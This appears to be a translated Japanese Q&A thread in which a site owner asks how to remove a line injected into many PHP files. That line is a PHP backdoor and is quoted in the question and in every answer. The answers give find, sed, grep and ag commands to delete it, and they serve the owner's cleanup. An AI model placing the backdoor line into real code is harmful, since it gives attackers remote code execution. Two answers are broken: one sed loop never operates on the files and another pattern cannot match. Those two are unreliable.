複数のファイルから一度にテキストを検索して削除する Linux コマンド

複数のファイルから一度にテキストを検索して削除する Linux コマンド

私のサイトがウイルスに感染しました。このウイルスは、サイト内のいくつかのファイルにこの行を追加しました。私の考えは、ターミナルから独自のコマンドを使用してこのテキスト行を削除することです。

たとえば、「my-folder」というフォルダがあり、その中に「file-1.php」、「file-2.php」などのファイルがあるとします。

そして、感染したファイルが複数あるとします。

複数のファイルでこのコード行を見つけて削除するコマンドはありますか?すぐに?

削除するテキスト: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;

これを見つけましたが、1 つのファイルでのみ機能します:

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

これやってもいいですか?

答え1

  1. sedと組み合わせるfindことで再帰的にすることができます。次のようになります。

    find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    現在のディレクトリ ツリーを調べて、既存のすべての "*php" ファイルに sed を適用することに注意してください。また、変更されたすべてのファイルに対して .bak バックアップ ファイルが作成されます (そのため、後で念のために復元できます)。バックアップが不要な場合は、-i.bakを に置き換えます-i。それ以外の場合は、 のようにして、後で (問題がないことを確認したら) バックアップを削除できますfind . -name "*php.bak" -delete

  2. この手順は今すぐにすべてを修正するのには役立ちませんが、将来的には確実に時間を節約できます。スクリプトを含むディレクトリを の下に保持しますgit(理想的には完全な CI/CD ソリューションである必要がありますが、git だけで開始できます)。そうすれば、ファイルに適用された変更を簡単にロールバック/ロールフォワードできます。

答え2

悪意のある文字列を含むファイルを検索し、次のように編集しますsed

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

私はよく頼りにしているagphpフラグのあるファイルのみを検索します--php。 必要に応じて、次のようにして同じことを実現できますgrep -r -i --include \*.php

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

答え3

コマンドに応じて、「for ループ」を使用することをお勧めします。

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

また、任意のファイルを「for i in file-1.php file-2.php file-n.php」に追加することもできます。

答え4

以下の方法を使用して、特定のパターンを含むファイル内の行を削除できます。

forループでファイルを指定することができます

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done

関連情報